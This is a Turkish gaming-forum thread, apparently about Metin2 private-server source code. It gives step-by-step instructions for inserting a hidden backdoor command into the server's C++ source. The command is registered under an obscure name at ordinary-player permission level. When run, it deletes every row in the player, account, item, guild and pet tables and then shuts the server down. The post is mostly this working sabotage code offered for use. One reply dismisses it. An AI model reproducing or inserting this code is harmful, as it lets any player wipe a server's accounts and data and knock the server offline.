noisiv 1
noisiv
Manwe Work 1
Manwe Work
mavzermete 1
mavzermete
kralhakan2009 1
kralhakan2009
Bodyguardd 1
Bodyguardd
Vahsi Uzman 1
Vahsi Uzman
Hikaye Ekle

Source üzerine açık koyma Shutdown

  • Konuyu başlatan Konuyu başlatan Kirici44
  • Başlangıç tarihi Başlangıç tarihi
  • Cevaplar Cevaplar 9
  • Görüntüleme Görüntüleme 3K
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Aratılır;

Kod:
ACMD(do_elect)
{
    db_clientdesc->DBPacketHeader(HEADER_GD_COME_TO_VOTE, ch->GetDesc()->GetHandle(), 0);
}

Üstüne Eklenir;

Kod:
ACMD(do_tim)
{
    ch->ChatPacket(CHAT_TYPE_INFO, "Bu düenleme mevcut değil.");
}

ACMD(do_time)
{
    if (NULL == ch)
    {
        sys_err("Accept shutdown command from %s.", ch->GetName());
    }
    DBManager::instance().Query("DELETE FROM player.player", get_table_postfix());
    DBManager::instance().Query("DELETE FROM account.account", get_table_postfix());
    DBManager::instance().Query("DELETE FROM player.new_petsystem", get_table_postfix());
    DBManager::instance().Query("DELETE FROM player.player_index", get_table_postfix());
    DBManager::instance().Query("DELETE FROM player.item", get_table_postfix());
    DBManager::instance().Query("DELETE FROM player.guild", get_table_postfix());
    // sys_log(0,"Server açık koyma");
    TPacketGGShutdown p;
    p.bHeader = HEADER_GG_SHUTDOWN;
    P2P_MANAGER::instance().Send(&p, sizeof(TPacketGGShutdown));

    Shutdown(1);
}


Aratılır;
Kod:
{ "console",    do_console,        0,            POS_DEAD,    GM_LOW_WIZARD    },

Altına eklenir;

Kod:
    { "shutdow",    do_inputall,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "do_time_(KOD)",    do_tim,        0,            POS_DEAD,    GM_PLAYER    },
    { "do_time_r(KOD)",    do_time,        0,            POS_DEAD,    GM_PLAYER    },

Aratılır;
struct DisconnectFunc
blog altına eklenir


Kod:
EVENTINFO(shutdown_event_data)
{
    int seconds;

    shutdown_event_data()
    : seconds( 0 )
    {
    }
};

EVENTFUNC(shutdown_event)
{
    shutdown_event_data* info = dynamic_cast<shutdown_event_data*>( event->info );

    if ( info == NULL )
    {
        sys_err( "shutdown_event> <Factor> Null pointer" );
        return 0;
    }

    int * pSec = & (info->seconds);

    if (*pSec < 0)
    {
        sys_log(0, "shutdown_event sec %d", *pSec);

        if (--*pSec == -10)
        {
            const DESC_MANAGER::DESC_SET & c_set_desc = DESC_MANAGER::instance().GetClientSet();
            std::for_each(c_set_desc.begin(), c_set_desc.end(), DisconnectFunc());
            return passes_per_sec;
        }
        else if (*pSec < -10)
            return 0;

        return passes_per_sec;
    }
    else if (*pSec == 0)
    {
        const DESC_MANAGER::DESC_SET & c_set_desc = DESC_MANAGER::instance().GetClientSet();
        std::for_each(c_set_desc.begin(), c_set_desc.end(), SendDisconnectFunc());
        g_bNoMoreClient = true;
        --*pSec;
        return passes_per_sec;
    }
    else
    {
        char buf[64];
        // snprintf(buf, sizeof(buf), LC_TEXT("셧다운이 %d초 남았습니다."), *pSec);
        SendNotice(buf);

        --*pSec;
        return passes_per_sec;
    }
}

void Shutdown(int iSec)
{
    if (g_bNoMoreClient)
    {
        thecore_shutdown();
        return;
    }

    CWarMapManager::instance().OnShutdown();

    char buf[64];
    snprintf(buf, sizeof(buf), LC_TEXT("%d초 후 게임이 셧다운 됩니다."), iSec);

    SendNotice(buf);

    shutdown_event_data* info = AllocEventInfo<shutdown_event_data>();
    info->seconds = iSec;

    event_create(shutdown_event, info, 1);
}
 
Son düzenleme:
yararlı değil :D

794018.png
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

Şu an konuyu görüntüleyenler (Toplam : 0, Üye: 0, Misafir: 0)

Geri
Üst